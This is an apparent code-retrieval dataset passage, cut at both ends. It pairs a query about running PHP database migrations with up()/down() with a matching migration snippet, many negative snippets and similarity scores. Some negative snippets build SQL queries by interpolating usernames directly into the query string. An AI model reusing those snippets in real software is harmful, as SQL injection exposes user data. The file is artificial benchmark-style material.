"public function check_username($username) \n\t{\n\t\tif($username) {\n\t\t\t$sql = 'SELECT * FROM users WHERE username = ?';\n\t\t\t$query = $this->db->query($sql, array($username));\n\t\t\t$result = $query->num_rows();\n\t\t\treturn ($result == 1) ? true : false;\n\t\t}\n\n\t\treturn false;\n\t}",
"function account_namevalid() {\n if (strspn($_POST['clientusername'],\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-\") == 0) {\n return false;\n }\n \n // must contain all legal characters\n if (strspn($_POST['clientusername'],\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_\") != strlen($_POST['clientusername'])) {\n return false;\n }\n\n // min and max length\n if (strlen($_POST['clientusername']) < 5) {\n return false;\n }\n if (strlen($_POST['clientusername']) > 25) {\n return false;\n }\n\n // illegal names\n if (eregi(\"^((root)|(bin)|(daemon)|(adm)|(lp)|(sync)|(shutdown)|(halt)|(mail)|(news)|(uucp)|(operator)|(games)|(mysql)|(httpd)|(nobody)|(dummy)|(www)|(cvs)|(shell)|(ftp)|(irc)|(debian)|(ns)|(download))$\", $_POST['username'])) {\n return false;\n }\n if (eregi(\"^(anoncvs_)\", $_POST['clientusername'])) {\n return false;\n }\n\nreturn true;\n}",
"function dbUserExists($unm)\n{\n\t$result = false;\n\t$sql = \"SELECT username FROM _account WHERE username = '$unm'\";\n\ttry {\n\t\t$stmt = Database :: prepare ( $sql );\n\t\t$stmt->execute();\n\t\t$count = $stmt -> rowCount();\n\t\tif ($count > 0) {\n\t\t\t$result = true; //Username already taken\n\t\t}\n\t\t$stmt->closeCursor ( ) ;\n\t}\n\tcatch(PDOException $e)\n\t{\n\t\techo $e->getMessage();\n\t}\n\treturn $result;\n}",
"function randomUser_exists()\t{\n\t\treturn $this->recordNumber(self::RNDUSERSC_NAME) > 0;\n\t}",
"function checkUserByUserName($user_name){\n\t\t$rec\t= $this->query(\"SELECT `id` from `users` where `user_name` = '$user_name' \");\t\t\n\t\tif($rec && mysql_num_rows($rec)>0){\t\t\n\t\t\t//if user with the user_name got found\n\t\t\treturn true;\n\t\t}else{\n\t\t\t//if user with the user_name got not found\n\t\t\treturn false;\n\t\t}\n\t}"
] | [
"0.7427209",
"0.73799247",
"0.72848016",
"0.7281898",
"0.7245951",
"0.7234943",
"0.7204722",
"0.7198174",
"0.7181717",
"0.7181218",
"0.71429557",
"0.7132921",
"0.71192074",
"0.7109556",
"0.70871115",
"0.7074567",
"0.70629835",
"0.70596796",
"0.70505846",
"0.70412976",
"0.699977",
"0.6999185",
"0.6978749",
"0.6977393",
"0.69769424",
"0.6956955",
"0.6943856",
"0.6928108",
"0.6922531",
"0.6918064",
"0.6918064",
"0.6907544",
"0.6888721",
"0.6887198",
"0.6862622",
"0.6842644",
"0.682279",
"0.6821523",
"0.6817104",
"0.6812111",
"0.6805244",
"0.67947495",
"0.67934304",
"0.678879",
"0.67809093",
"0.6778015",
"0.67698747",
"0.67692477",
"0.67608875",
"0.67602617",
"0.6752198",
"0.6750479",
"0.673685",
"0.6729574",
"0.67289203",
"0.67198175",
"0.67190975",
"0.6717419",
"0.6715709",
"0.67035586",
"0.6700467",
"0.6691361",
"0.6690821",
"0.667865",
"0.6638937",
"0.66377306",
"0.6632261",
"0.6622113",
"0.66175354",
"0.66173685",
"0.6610626",
"0.66100246",
"0.66077673",
"0.6605668",
"0.66012555",
"0.6600239",
"0.6585192",
"0.6579936",
"0.6577438",
"0.65669364",
"0.6560965",
"0.65600973",
"0.6555337",
"0.654206",
"0.6540168",
"0.65388304",
"0.6532878",
"0.6526358",
"0.6525419",
"0.6519928",
"0.6519053",
"0.6518668",
"0.65172267",
"0.6515527",
"0.6508457",
"0.6506789",
"0.6504867",
"0.65015435",
"0.64927244",
"0.6487341"
] | 0.7191115 | 8 |
Use up()/down() to run migration code without a transaction. | public function up()
{
$this->addColumn(\backend\models\VodProfile::tableName(), 'language', "char(5) not null default 'en-US'");
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function safeUp()\r\n {\r\n $this->up();\r\n }",
"public function safeUp()\n {\n $this->up();\n }",
"public function safeUp()\n {\n $this->up();\n }",
"public function safeUp()\r\n\t{\r\n\t\t$this->up();\r\n\t}",
"public function safeUp()\n\t{\n\t\t$this->up();\n\t}",
"abstract protected function up();",
"public function migrateUp()\n {\n //$this->migrate('up');\n $this->artisan('migrate');\n }",
"abstract public function up();",
"abstract public function up();",
"abstract public function up();",
"public function up() { return $this->run('up'); }",
"public function up(): void\n {\n $filename = sprintf('%s/%s', static::UP, static::FILENAME);\n\n $this->execute($filename);\n }",
"public function up()\n {\n if (!$this->isEdu()) {\n return;\n }\n \n $this->edu_up();\n }",
"public function safeUp()\n {\n }",
"public function preUp()\n {\n }",
"public function down()\n {\n $this->output->writeln('Down migration is not available.');\n }",
"public function migrate()\n {\n $fileSystem = new Filesystem();\n $classFinder = new ClassFinder();\n\n foreach ($fileSystem->files(__DIR__.'/../../../../tests/NilPortugues/App/Migrations') as $file) {\n $fileSystem->requireOnce($file);\n $migrationClass = $classFinder->findClass($file);\n (new $migrationClass())->down();\n (new $migrationClass())->up();\n }\n }",
"protected function tearDown(): void {\n $migration = include __DIR__.'/../database/migrations/create_all_visitors_tables.php.stub';\n $migration->down();\n\n $migrationTest = include __DIR__.'/Support/migrations/2023_01_12_000000_create_test_models_table.php';\n $migrationTest->down();\n }",
"public function safeUp()\n\t{\n\t $this->addColumn('Rent', 'is_deleted', 'TINYINT DEFAULT 0');\n\t $this->createIndex('is_deleted', 'Rent', 'is_deleted');\n\t}",
"public function up()\n {\n $this->db->createCommand($this->DROP_SQL)->execute();\n $this->db->createCommand($this->CREATE_SQL)->execute();\n }",
"public function up()\n {\n $this->db->createCommand($this->DROP_SQL)->execute();\n $this->db->createCommand($this->CREATE_SQL)->execute();\n }",
"public function safeUp()\n\t{\n $sql = <<<SQL\n alter table r add R8 inte;\nSQL;\n\t\t//$this->execute($sql);\n $sql = <<<SQL\n ALTER TABLE r ADD constraint FK_r8_elgz1 FOREIGN KEY (r8) REFERENCES elgz (elgz1) ON DELETE SET DEFAULT ON UPDATE CASCADE;\nSQL;\n //$this->execute($sql);\n\t}",
"protected abstract function do_up();",
"public function runDatabaseMigrations()\n {\n $this->parentRunDatabaseMigrations();\n\n $this->artisan('cms:migrate');\n\n $this->beforeApplicationDestroyed(function () {\n $this->artisan('cms:migrate:rollback');\n });\n }",
"public function safeUp()\n\t{\n $this->execute(\"\n /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;\n /*!40101 SET NAMES utf8mb4 */;\n /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;\n /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;\n\n DROP TABLE IF EXISTS `Rating`;\n DROP TABLE IF EXISTS `RatingParams`;\n DROP TABLE IF EXISTS `RatingParamsValues`;\n\n /*!40101 SET SQL_MODE=IFNULL(@OLD_SQL_MODE, '') */;\n /*!40014 SET FOREIGN_KEY_CHECKS=IF(@OLD_FOREIGN_KEY_CHECKS IS NULL, 1, @OLD_FOREIGN_KEY_CHECKS) */;\n /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;\n \");\n\t}",
"public function down(): void\n {\n $filename = sprintf('%s/%s', static::DOWN, static::FILENAME);\n\n $this->execute($filename);\n }",
"public function safeUp()\r\n {\r\n $this->createTable('tbl_job_application', array(\r\n 'id' => 'pk',\r\n 'job_id' => 'integer NOT NULL',\r\n 'user_id' => 'integer NULL',\r\n 'name' => 'string NOT NULL',\r\n 'email' => 'text NOT NULL',\r\n 'phone' => 'text NOT NULL',\r\n 'resume_details' => 'text NOT NULL',\r\n 'create_date' => 'datetime NOT NULL',\r\n 'update_date' => 'datetime NULL',\r\n ));\r\n }",
"public function runDatabaseMigrations()\n {\n if (!$this->runMigrations) {\n return;\n }\n\n $this->artisan('migrate:fresh');\n\n $this->app[Kernel::class]->setArtisan(null);\n\n $this->beforeApplicationDestroyed(function () {\n $this->artisan('migrate:rollback');\n });\n }",
"public function safeUp()\n\t{\n $this->execute(\"\n -- Дамп структуры для таблица dev_dont_stop.Currencies\n CREATE TABLE IF NOT EXISTS `Currencies` (\n `id` int(10) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Currency ID',\n `name` varchar(50) NOT NULL DEFAULT '' COMMENT 'Currency name',\n `key` varchar(10) NOT NULL DEFAULT '' COMMENT 'Currency key',\n PRIMARY KEY (`id`)\n ) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;\n\n -- Дамп данных таблицы dev_dont_stop.Currencies: ~3 rows (приблизительно)\n /*!40000 ALTER TABLE `Currencies` DISABLE KEYS */;\n INSERT INTO `Currencies` (`id`, `name`, `key`) VALUES\n (1, 'Российский рубль', 'RUR'),\n (2, 'Белорусский рубль', 'BYR'),\n (3, 'Доллар США', 'USD');\n /*!40000 ALTER TABLE `Currencies` ENABLE KEYS */;\n /*!40101 SET SQL_MODE=IFNULL(@OLD_SQL_MODE, '') */;\n /*!40014 SET FOREIGN_KEY_CHECKS=IF(@OLD_FOREIGN_KEY_CHECKS IS NULL, 1, @OLD_FOREIGN_KEY_CHECKS) */;\n /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;\n \");\n\t}",
"public function migrate()\n {\n $fileSystem = new Filesystem();\n\n $fileSystem->copy(\n __DIR__.'/../database/migrations/2018_06_29_032244_create_laravel_follow_tables.php',\n __DIR__.'/database/migrations/create_laravel_follow_tables.php'\n );\n\n foreach ($fileSystem->files(__DIR__.'/database/migrations') as $file) {\n $fileSystem->requireOnce($file);\n }\n\n (new \\CreateLaravelFollowTables())->up();\n (new \\CreateUsersTable())->up();\n (new \\CreateOthersTable())->up();\n }",
"public function preUp(MigrationManager $manager)\n {\n }",
"public function preUp(MigrationManager $manager)\n {\n }",
"public function preUp(MigrationManager $manager)\n {\n }",
"function runUp()\n{\n $files = scandir(LIB_ROOT . '/migrations');\n\n $db_migration_version = get_current_migration_version();\n\n $migrations = array();\n\n foreach($files as $file)\n {\n if(preg_match('/migration_([1-9][0-9]*)\\.php/i', $file, $matches))\n {\n $migration_version = $matches[1];\n\n // we only care about this migration if it has not been performed yet\n if($migration_version > $db_migration_version)\n {\n require_once LIB_ROOT . '/migrations/' . $matches[0];\n\n $migrations[$migration_version] = 'Migration_' . $migration_version;\n }\n }\n }\n\n if(count($migrations) == 0)\n echo 'There are no migrations to run; DB is already up to date (at version ' . $db_migration_version . ').' . \"\\n\\n\";\n else\n {\n // sort migrations, so that we execute them in ascending order\n ksort($migrations);\n\n $count = 0;\n\n foreach ($migrations as $id => $class_name)\n {\n $migrationClass = new $class_name();\n\n $count++;\n\n echo 'Running migration ' . $id . ' (' . $count . ' of ' . count($migrations) . ')...' . \"\\n\";\n\n try\n {\n $migrationClass->Up();\n fetch_none('UPDATE migration_version SET version=' . quote_smart($id));\n echo ' done!' . \"\\n\";\n }\n catch(Exception $e)\n {\n echo ' Encountered an exception during migration:' . \"\\n\";\n echo ' ' . $e->getMessage() . \"\\n\";\n echo ' Migration was not completed; the database may be left in a weird state.' . \"\\n\";\n if($count < count($migrations))\n {\n $remaining = (count($migrations) - $count);\n echo $remaining . ' remaining migration' . ($remaining == 1 ? '' : 's') . ' will not be run.' . \"\\n\";\n }\n echo \"\\n\";\n die();\n }\n }\n\n echo 'All done!' . \"\\n\\n\";\n }\n}",
"public function safeUp()\n\t{\n $this->execute(\"\n ALTER TABLE `Deals`\n ADD COLUMN `city_id` INT(11) UNSIGNED NULL DEFAULT NULL COMMENT 'City ID' AFTER `user_id`;\n ALTER TABLE `Deals`\n\t ADD CONSTRAINT `FK_Deals_Cities` FOREIGN KEY (`city_id`) REFERENCES `Cities` (`id`) ON UPDATE CASCADE ON DELETE SET NULL;\n \");\n\t}",
"public function safeUp()\n {\n $this->createTable($this->tableName, [\n 'post_id' => $this->bigInteger()->notNull(),\n 'category_id' => $this->bigInteger()->notNull(),\n ]);\n\n $this->addForeignKey('post_category_post_id_fk', $this->tableName, 'post_id', '{{%post}}', 'id', 'CASCADE', 'CASCADE');\n $this->addForeignKey('post_category_category_id_fk', $this->tableName, 'category_id', '{{%category}}', 'id', 'CASCADE', 'CASCADE');\n }",
"public function runDatabaseMigrations()\n {\n $this->artisan('migrate:fresh', $this->migrateFreshUsing());\n\n $this->app[Kernel::class]->setArtisan(null);\n\n $this->beforeApplicationDestroyed(function () {\n $this->artisan('migrate:rollback');\n\n RefreshDatabaseState::$migrated = false;\n });\n }",
"public function safeUp() {\n\n $this->createTable('word', [\n 'word_id' => Schema::TYPE_PK,\n 'word_lang_id' => $this->integer(),\n 'word_name' => $this->string(500) . ' NOT NULL',\n 'word_detais' => $this->string(1000),\n ]);\n\n // Add foreign key\n $this->addForeignKey('fk_language_word_1', 'word',\n 'word_lang_id', 'language', 'lang_id', 'CASCADE', 'NO ACTION');\n \n // Create index of foreign key\n $this->createIndex('word_lang_id_idx', 'word', 'word_lang_id');\n }",
"public function down()\n {\n //add your migration here \n }",
"public function safeUp()\n {\n $this->createTable('user', array(\n 'name' => 'string',\n 'username' => 'string NOT NULL',\n 'password' => 'VARCHAR(32) NOT NULL',\n 'salt' => 'VARCHAR(32) NOT NULL',\n 'role' => \"ENUM('partner', 'admin')\"\n ));\n }",
"public function safeUp()\n {\n $this->execute(\"\n create table region(\n code_reg integer primary key,\n name_reg text\n );\n \");\n $this->execute(\"\n create table school(\n id integer primary key,\n name text,\n boss text,\n code_reg integer,\n phone text\n );\n \");\n $this->createIndex('school_fk_reg', 'school', 'code_reg');\n }",
"public function down(): bool {\n\t\t// Remove & add logic to revert the migration here.\n\t\techo \"M230123030315BaseTables cannot be rolled back.\\n\";\n\t\treturn false;\n\t}",
"public function up(Database $db)\n {\n }",
"public function up(Database $db)\n {\n }",
"public function safeUp()\n {\n $this->createTable(\n $this->tableName,\n [\n 'id' => $this->primaryKey(),\n 'user_id' => $this->integer(). ' UNSIGNED NOT NULL' ,\n 'source' => $this->string()->notNull(),\n 'source_id' => $this->string()->notNull(),\n ],\n 'CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE=InnoDB'\n );\n\n $this->addForeignKey('fk_social_auth_user_id_to_user_id', $this->tableName, 'user_id', '{{%user}}', 'id', 'CASCADE', 'CASCADE');\n }",
"public function migrate($direction)\n\t{\n\t\tif ($direction == self::UP)\n\t\t{\n\t\t\t// Get files\n\t\t\t$files = scandir($this->migration_path);\n\t\t\t$files = array_slice($files, 2, count($files));\n\n\t\t\tif (in_array('migrations', R::inspect()))\n\t\t\t{\n\t\t\t\t// Get migrated records\n\t\t\t\t$migrated_files = R::getCol('SELECT name FROM migrations');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$migrated_files = array();\n\t\t\t}\n\n\t\t\t// Get non migrated files\n\t\t\t$non_migrated = array_diff($files, $migrated_files);\n\n\t\t\t// Load non migrated files and execute\n\t\t\tforeach ($non_migrated as $file)\n\t\t\t{\n\t\t\t\t$instance = $this->loadMigration($file);\n\t\t\t\t$instance->up();\n\n\t\t\t\t// Record our migration\n\t\t\t\t$this->storeMigration($file);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$migration = R::findOne('migrations', ' ORDER BY created DESC ');\n\n\t\t\t// Load migration and migrate it down\n\t\t\t$instance = $this->loadMigration($migration->name);\n\t\t\t$instance->down();\n\n\t\t\t// Remove migration form database\n\t\t\tR::trash($migration);\n\t\t}\n\t}",
"public function up(PhoreDba $db)\n {\n }",
"protected abstract function do_down();",
"public function callMigration()\n {\n Artisan::call('lucy:migration', $this->builder->getAttribute('migration'));\n\n Artisan::call('migrate');\n }",
"public function safeUp()\n {\n $this->createTable('tbl_hand_made_item',\n [\n \"id\" => \"int(11) NOT NULL AUTO_INCREMENT PRIMARY KEY\",\n \"price\" => \"integer\",\n \"discount\" => \"integer\",\n \"preview_id\" => \"integer\",\n \"name\" => \"string\",\n \"description\" => \"text\",\n \"short_description\" => \"text\",\n \"slug\" => \"string\",\n ]\n );\n }",
"public function up(Schema $schema) : void\n {\n $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \\'mysql\\'.');\n\n $this->addSql('DROP TABLE age_atelier');\n }",
"public function run($down = false) {\n if ($down) {\n $this->down();\n } else {\n $this->up();\n }\n }",
"public function up(Schema $schema) : void\n {\n $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'postgresql', 'Migration can only be executed safely on \\'postgresql\\'.');\n\n $this->addSql('DROP SEQUENCE draft_id_seq CASCADE');\n $this->addSql('DROP TABLE draft');\n }",
"public function safeDown()\n\t{\n\t\t$this->dropTable($this->tableName);\n\t}",
"public function safeDown()\n\t{\n\t\t$this->dropTable($this->tableName);\n\t}",
"public function safeDown()\n\t{\n\t\t$this->dropTable($this->tableName);\n\t}",
"public function migrate()\n\t{ \n\t\t(new MigratorInterface)->migrate();\n\t}",
"public function safeUp()\n {\n $tables = Yii::$app->db->schema->getTableNames();\n $dbType = $this->db->driverName;\n $tableOptions_mysql = \"CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE=InnoDB\";\n\n /* MYSQL */\n if (!in_array('question_tag', $tables)) {\n if ($dbType == \"mysql\") {\n $this->createTable('{{%question_tag}}', [\n 'question_id' => 'INT(11) NOT NULL',\n 'tag_id' => 'INT(11) NOT NULL',\n ], $tableOptions_mysql);\n }\n }\n }",
"public function up()\n {\n if (is_file(storage_path('framework/down'))) {\n unlink(storage_path('framework/down'));\n\n if (is_file(storage_path('framework/maintenance.php'))) {\n unlink(storage_path('framework/maintenance.php'));\n }\n\n return true;\n }\n\n return false;\n }",
"public function safeUp()\n {\n $tableOptions = null;\n if ($this->db->driverName === 'mysql') {\n // http://stackoverflow.com/questions/766809/whats-the-difference-between-utf8-general-ci-and-utf8-unicode-ci\n $tableOptions = 'CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE=InnoDB';\n }\n\n $this->createTable('{{%category_posts}}', [\n 'post_id' => Schema::TYPE_INTEGER,\n 'category_id' => Schema::TYPE_INTEGER,\n ], $tableOptions);\n\n $this->createIndex('FK_category', '{{%category_posts}}', 'category_id');\n $this->addForeignKey(\n 'FK_category_post', '{{%category_posts}}', 'category_id', '{{%category}}', 'id', 'SET NULL', 'CASCADE'\n );\n\n $this->createIndex('FK_post', '{{%category_posts}}', 'post_id');\n $this->addForeignKey(\n 'FK_post_category', '{{%category_posts}}', 'post_id', '{{%post}}', 'id', 'SET NULL', 'CASCADE'\n );\n\n }",
"public function down()\n {\n //add your migration here\n }",
"function migrate(){\n\n create_table();\n save_migration_tables();\n\n}",
"public function migrate() {}",
"public function migrate()\n\t{\n\t}",
"public function safeUp()\n {\n $this->addColumn('apartment', 'price', 'DECIMAL(20,2) DEFAULT 0');\n $this->addColumn('apartment', 'room_number', 'int UNSIGNED DEFAULT 0');\n $this->addColumn('apartment', 'square', 'int UNSIGNED DEFAULT 0');\n }",
"abstract public function down();",
"abstract public function down();",
"abstract public function down();",
"public function up(Schema $schema) : void\n {\n $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'sqlite', 'Migration can only be executed safely on \\'sqlite\\'.');\n\n $this->addSql('DROP TABLE answer');\n $this->addSql('DROP TABLE lesson');\n $this->addSql('DROP TABLE question');\n $this->addSql('DROP TABLE term');\n }",
"public function safeUp()\n\t{\n $this->dropForeignKey('client', Yii::app()->getModule('user')->tableUsersClients);\n $this->addForeignKey('client', Yii::app()->getModule('user')->tableUsersClients, 'clients_id', Yii::app()->getModule('user')->tableClients, 'id', 'SET NULL', 'SET NULL');\n\t}",
"public function isMigratingUp();",
"public function safeDown()\n {\n $this->dropTable($this->tableName);\n }",
"public function down()\n\t{\n\t\techo $this->migration('down');\n\n\t\tci('o_role_model')->migration_remove($this->hash());\n\t\t\n\t\treturn true;\n\t}",
"public function preDown(MigrationManager $manager)\n {\n }",
"public function preDown(MigrationManager $manager)\n {\n }",
"public function preDown(MigrationManager $manager)\n {\n }",
"public function up()\n {\n // This migration was removed, but fails when uninstalling plugin\n }",
"public function safeUp()\r\n {\r\n $tableOptions = null;\r\n if ($this->db->driverName === 'mysql') {\r\n $tableOptions = 'CHARACTER SET utf8 COLLATE utf8_general_ci ENGINE=InnoDB';\r\n }\r\n\r\n $this->createTable('{{%contact_msg}}', [\r\n 'id' => Schema::TYPE_PK,\r\n 'from_email' => Schema::TYPE_STRING . \"(320) NOT NULL\",\r\n 'to_email' => Schema::TYPE_STRING . \"(320) NULL\",\r\n 'subject' => Schema::TYPE_STRING . \"(300) NOT NULL\",\r\n 'text' => Schema::TYPE_TEXT,\r\n 'viewed' => Schema::TYPE_BOOLEAN . \"(1) NOT NULL DEFAULT '0'\",\r\n 'created_at' => Schema::TYPE_TIMESTAMP . \" NULL\",\r\n 'updated_at' => Schema::TYPE_TIMESTAMP . \" NULL\",\r\n ], $tableOptions);\r\n }",
"public function migrate()\n {\n $this->syncRepository();\n $this->copyVariables();\n $this->copyDeployKeys();\n $this->reEnableBuilds();\n }",
"public function safeDown()\n {\n $this->down();\n }",
"public function safeDown()\n {\n $this->down();\n }",
"public function postUp(MigrationManager $manager)\n {\n }",
"public function postUp(MigrationManager $manager)\n {\n }",
"public function postUp(MigrationManager $manager)\n {\n }",
"public function safeUp()\n {\n $this -> alterColumn('diving_log', 'weight', $this->smallInteger()->notNull()->defaultValue(0)->comment('配重'));\n }",
"public function up(){\n\t\tglobal $wpdb;\n\n\t\t$wpdb->query('ALTER TABLE `btm_tasks` ADD COLUMN `last_run` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP AFTER `date_created`;');\n\t}",
"public function up()\n\t{\n\t\tSchema::table('tests', function($table) {\n\t\t\t// first drop old constraint\n\t\t\t$table->drop_foreign('tests_user_id_foreign');\n\t\t\t// then create new one with proper cascade behavior\n\t\t\t$table->foreign('user_id')->references('id')->on('users')->on_delete('cascade');\n\t\t});\n\n\t\tSchema::table('testlogs', function($table) {\n\t\t\t// first drop old constraint\n\t\t\t$table->drop_foreign('testlogs_test_id_foreign');\n\t\t\t// then create new one with proper cascade behavior\n\t\t\t$table->foreign('test_id')->references('id')->on('tests')->on_delete('cascade');\n\t\t});\n\t}",
"public function safeUp() {\n\t$this->createTable('post', array(\n 'id' =>\"int(11) NOT NULL AUTO_INCREMENT\",\n 'created_on' =>\"int(11) NOT NULL\",\n 'title' =>\"varchar(255) NOT NULL\",\n 'context' =>\"text NOT NULL\",\n \"PRIMARY KEY (`id`)\"\n\t),'ENGINE=InnoDB DEFAULT CHARSET=utf8');\n }",
"public function down()\n {\n\n // No down\n }",
"public function safeUp()\n\t{\n\t\t$this->createTable('pesquisa', array(\n\t\t\t'id' => 'serial NOT NULL primary key',\n\t\t\t'nome' => 'varchar',\n\t\t));\n\t}",
"public function up()\n {\n }",
"public function up()\n\t{\n\t\tSchema::table('devices', function($table)\n\t\t{\n\t\t\t$table->string('uuid')->unique;\n\t\t\t$table->drop_column('uid');\n\t\t});\n\t}",
"public function safeUp() {\n\n $this->createTable('user', [\n 'user_id' => Schema::TYPE_PK,\n 'user_first_name' => $this->string(100) . ' NOT NULL',\n 'user_last_name' => $this->string(100) . ' NOT NULL',\n 'user_email' => $this->string(100) . ' NOT NULL',\n 'user_password' => $this->string(500) . ' NOT NULL',\n 'user_access_token' => $this->string(500),\n 'user_auth_token' => $this->string(500),\n 'user_created_at' => $this->integer() . ' NOT NULL',\n 'user_modified_at' => $this->integer() . ' NOT NULL',\n ]);\n\n // Create index of foreign key\n $this->createIndex('user_email_idx', 'user', 'user_email');\n\n // Create index of foreign key\n $this->createIndex('user_password_idx', 'user', 'user_password');\n }",
"public function safeUp()\n\t{\n\t\t$this->createTable( 'tbl_auth_item', array(\n\t\t \"name\" => \"varchar(64) not null\",\n\t\t \"type\" => \"integer not null\",\n\t\t \"description\" => \"text\",\n\t\t \"bizrule\" => \"text\",\n\t\t \"data\" => \"text\",\n\t\t \"primary key (name)\",\n\t\t));\n\n\t\t$this->createTable(\"tbl_auth_item_child\", array(\n \t\t\"parent\" => \" varchar(64) not null\",\n\t\t\"child\" => \" varchar(64) not null\",\n \t\t\"primary key (parent,child)\",\n\t\t));\n\n\t\t$this->createTable(\"tbl_auth_assignment\",array(\n \t\t\"itemname\" => \"varchar(64) not null\",\n \t\t\"userid\" => \"varchar(64) not null\",\n \t\t\"bizrule\" => \"text\",\n \t\t\"data\"\t => \"text\",\n \t\t\"primary key (itemname,userid)\",\n\t\t));\n\n\t\t$this->addForeignKey('fk_auth_item_child_parent','tbl_auth_item_child','parent','tbl_auth_item','name','CASCADE','CASCADE');\n\t\t$this->addForeignKey('fk_auth_assignment_itemname','tbl_auth_assignment','itemname','tbl_auth_item','name');\n\t\t$this->addForeignKey('fk_auth_assignment_userid','tbl_auth_assignment','userid','tbl_user','id');\n\t}",
"public function runMigrations()\n {\n if (file_exists($this->baseSqlite())) {\n return;\n }\n\n config(['database.connections.sqlite.database' => $this->copySqlite()]);\n if (method_exists($this, 'withoutMockingConsoleOutput')) {\n $this->withoutMockingConsoleOutput()->artisan('migrate');\n } else {\n Artisan::call('migrate');\n }\n\n // Run Seeders\n copy($this->copySqlite(), $this->baseSqlite());\n return;\n }",
"public function safeUp()\n {\n $this->addColumn('compare_estimated_price_table','house_views_comp',\"tinyint(1) NOT NULL DEFAULT '0'\");\n }",
"public function up()\n\t{\n// $import->import();\n\t}",
"public function safeDown()\r\n {\r\n $this->down();\r\n }",
"public function safeUp()\n {\n $this->dropForeignKey('fk_barang_diskon_barang', 'barang_diskon');\n $this->alterColumn('barang_diskon', 'barang_id', 'INT(10) UNSIGNED NULL');\n $this->addColumn('barang_diskon', 'semua_barang', \"TINYINT NOT NULL DEFAULT 0 COMMENT 'perbarang = 0; semua = 1' AFTER `id`\");\n\n $this->addForeignKey('fk_barang_diskon_barang', 'barang_diskon', 'barang_id', 'barang', 'id', 'NO ACTION', 'NO ACTION');\n }",
"public function safeUp()\n {\n $this->createTable('site_phrase', array(\n 'site_id' => self::MYSQL_TYPE_UINT,\n 'phrase' => 'string NOT NULL',\n 'hash' => 'varchar(32)',\n 'price' => 'decimal(10,2) NOT NULL',\n 'active' => self::MYSQL_TYPE_BOOLEAN,\n ));\n\n $this->addForeignKey('site_phrase_site_id', 'site_phrase', 'site_id', 'site', 'id', 'CASCADE', 'RESTRICT');\n }",
"public function safeUp()\n\t{\n\t\t\n\t\t$this->dropColumn('seguimiento_itil', 'per_sm');\n\t\t$this->dropColumn('seguimiento_itil', 'per_client');\n\n\t\t$this->createTable('seguimiento_percepcion_general', array(\n\t\t\t\t'id'=>'pk',\n\t\t\t\t'cliente_id' => 'int NOT NULL',\n\t\t\t\t'per_cliente' => 'int NOT NULL DEFAULT 0',\n\t\t\t\t'per_sm' => 'int NOT NULL DEFAULT 0',\n\t\t\t\t'fecha' => 'int NOT NULL DEFAULT 0')\n\t\t);\n\t\t$this->addForeignKey('FK01_seguimiento_percepcion_general_cliente', 'seguimiento_percepcion_general', 'cliente_id', 'cliente', 'id', 'RESTRICT');\n\t\t\n\t}"
] | [
"0.7400663",
"0.7367202",
"0.7367202",
"0.7306833",
"0.73017013",
"0.6950261",
"0.6935062",
"0.6919443",
"0.6919443",
"0.6919443",
"0.68502915",
"0.6808329",
"0.67238945",
"0.6686151",
"0.6678409",
"0.66436875",
"0.6481601",
"0.64645845",
"0.6458062",
"0.64404756",
"0.64404756",
"0.6420302",
"0.64163023",
"0.63957787",
"0.6375456",
"0.6354217",
"0.6337392",
"0.6331496",
"0.6319423",
"0.6309751",
"0.6296953",
"0.6296953",
"0.6296953",
"0.62906724",
"0.6279732",
"0.627169",
"0.62618965",
"0.6201972",
"0.61981463",
"0.61907595",
"0.61835134",
"0.6176612",
"0.6160972",
"0.6160972",
"0.6152749",
"0.6148242",
"0.61466604",
"0.61429274",
"0.61371404",
"0.6128666",
"0.6114365",
"0.61098695",
"0.6079392",
"0.607794",
"0.607794",
"0.607794",
"0.60664314",
"0.606303",
"0.60571414",
"0.6056216",
"0.6052443",
"0.6049566",
"0.6045463",
"0.6039633",
"0.60342747",
"0.6032344",
"0.6032344",
"0.6032344",
"0.6028257",
"0.60258114",
"0.6020437",
"0.60198236",
"0.60178673",
"0.60094607",
"0.60094607",
"0.60094607",
"0.5999125",
"0.5998681",
"0.5996734",
"0.5996246",
"0.5996246",
"0.59918934",
"0.59918934",
"0.59918934",
"0.59896696",
"0.5987934",
"0.59858185",
"0.5985243",
"0.5985156",
"0.5984717",
"0.59834456",
"0.59752625",
"0.597417",
"0.5966874",
"0.59650946",
"0.59631985",
"0.59538734",
"0.5949027",
"0.59372824",
"0.5927672",
"0.59230393"
] | 0.0 | -1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.